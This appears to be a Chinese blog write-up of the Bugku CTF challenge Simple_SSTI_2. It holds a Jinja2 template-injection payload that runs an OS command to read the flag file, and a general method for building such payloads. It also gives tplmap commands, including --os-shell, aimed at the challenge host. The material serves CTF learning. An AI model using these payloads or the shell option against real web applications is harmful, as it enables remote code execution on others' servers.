bugku解题篇—Simple_SSTI_2

{{%20config.class.init.globals[%27os%27].popen(%27cat%20…/app/flag%27).read()%20}}
config为对象;
class:返回对象所属类;
init:类的初始方法,用以初始化实例;
globals(也可用func_globals):以字典返回内建模块;
OS就是返回字典里面的的一个模块
popen()返回一个输出流,通过read()读取里面的数据
payload的构造过程:
(1)明确要利用的目标函数;
(2)找到目标函数被定义的位置,哪个模块(目标模块),或者哪个类(目标类)。
(3)构造前一部分payload,大部分思路是固定的,目的是拿到所有Object类的子类。
(4)这些子类很多没有加载,调用它们里面显式定义的方法,解析器就会加载并执行这个模块,如果模块刚好存在目标函数,就跳到第六步。(直接找到目标函数)
(5)如果第五步加载的模块没有目标函数,就考虑在被加载模块中存在导入目标模块的import语句。(间接导入)
(6)导入了目标函数或者目标模块后,在当前的命名空间就存在它们的变量,接下来就通过这些变量作为调用者,调用目标函数。

git clone https://github.com/epinna/tplmap
cd tplmap
sudo yum install python-pip -y||sudo apt install python-pip #安装py2的pip
pip install -r requirements.txt
操作:
#探测注入点
./tplmap.py -u ‘http://114.67.175.244:10463/?flag’
#获取shell
./tplmap.py -u ‘http://114.67.175.244:10463/?flag’ --os-shell

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

不爱学习的安全小白

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值